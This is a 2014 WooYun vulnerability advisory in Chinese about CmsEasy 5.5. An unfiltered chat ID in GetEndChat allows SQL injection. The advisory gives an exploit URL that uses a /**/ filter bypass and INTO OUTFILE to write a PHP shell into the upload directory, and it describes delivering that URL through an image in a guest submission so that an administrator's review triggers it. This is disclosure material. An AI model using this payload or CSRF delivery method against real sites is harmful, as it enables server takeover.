当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074869

漏洞标题:cmseasy csrf导致sql注入绕过union getshell

相关厂商:cmseasy

漏洞作者: menmen519

提交时间:2014-09-03 17:50

修复时间:2014-12-02 17:52

公开时间:2014-12-02 17:52

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-03: 细节已通知厂商并且等待厂商处理中
2014-09-05: 厂商已经确认,细节仅向厂商公开
2014-09-08: 细节向第三方安全合作伙伴开放
2014-10-30: 细节向核心白帽子及相关领域专家公开
2014-11-09: 细节向普通白帽子公开
2014-11-19: 细节向实习白帽子公开
2014-12-02: 细节向公众公开

简要描述:

上一次做了一个csrf+sql注入getshell的 这一次我继续发一个,由于此属于一个get类型的,所以很简单的,管理员根本就不用去点击,就能触发sql并且getshell

详细说明:

首先我们分析一下sql语句:
admin/live/header.php:(line:16-21)

include('../../include/config.inc.php');
include(CE_ROOT.'/include/admin/check.inc.php');
include(CE_ROOT.'/include/celive.class.php');
$admin_header = new celive();
$admin_header->template();
$admin_header->admin_xajax_live();


然后我们跟到admin_xajax_live这个函数里面看看:

function admin_xajax_live() {
if (!$this->admin_xajax_live_flag) {
$this->admin_xajax_live_flag=true;
include_once(dirname(__FILE__).'/xajax.inc.php');
include_once(dirname(__FILE__).'/xajax.class.php');
global $admin_xajax_live;
$admin_xajax_live=new xajax();
$admin_xajax_live->setCharEncoding('utf-8');
$admin_xajax_live->decodeUTF8InputOn();
$admin_xajax_live->registerFunction('ChangeStatus');
$admin_xajax_live->registerFunction('AdminResponse');
$admin_xajax_live->registerFunction('AdminSound');
$admin_xajax_live->registerFunction('AdminDecline');
$admin_xajax_live->registerFunction('AdminChatHistory');
$admin_xajax_live->registerFunction('AdminPostdata');
$admin_xajax_live->registerFunction('EndChats');
$admin_xajax_live->registerFunction('GetEndChat');
$admin_xajax_live->registerFunction('AdminExit');
$admin_xajax_live->processRequests();
}
}


看到注册函数这里了有一个GetEndChat:

function GetEndChat($chatid) {
global $db;

$objResponse = new xajaxResponse('utf-8');
$sql = "SELECT `status` FROM `chat` WHERE `id`='" . $chatid . "'";
@$result = $db->query($sql);
if ($result[0]['status'] == 0) {
$objResponse->script("alert('<?php echo $lang[reception]?>');window.parent.close();");
}
return $objResponse;
}


然而这个$chatid没有做任何过滤就被传递进来了,之前有人对这里前台进行分析过:
http://site.com/CmsEasy_5.5_UTF-8_20140818/uploads/celive/admin/live/header.php?xajax=GetEndChat&xajaxargs=xxxxx' union select/**/'<?php phpinfo?>' into outfile 'D:/APMSERVER/APMServ5.2.6/www/htdocs/CmsEasy_5.5_UTF-8_20140818/uploads/upload/images/shell.php'#
这里我们要说明一下,由于全局对危险函数做了过滤和检测select后面要是不添加/**/这里是被拦截的
然后我们队此url进行url编码:
下来我们以游客身份进行投稿:

6.png


到这里大家应该就明白了,管理员是要审核的,我们这里把这个get链接,发给了一个图片,管理员审核的时候,看到图片其实我们的请求就已经发出去了,当然了在响应的目录下面也已经生成了,shellcode

7.png


我们再看看uploads/img底下有没有我们想要的文件:

8.png


对了这里差两个括号,补上就是了。。。。。。
ok到此.............

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-09-05 13:09

厂商回复:

祝节日快乐

最新状态:

暂无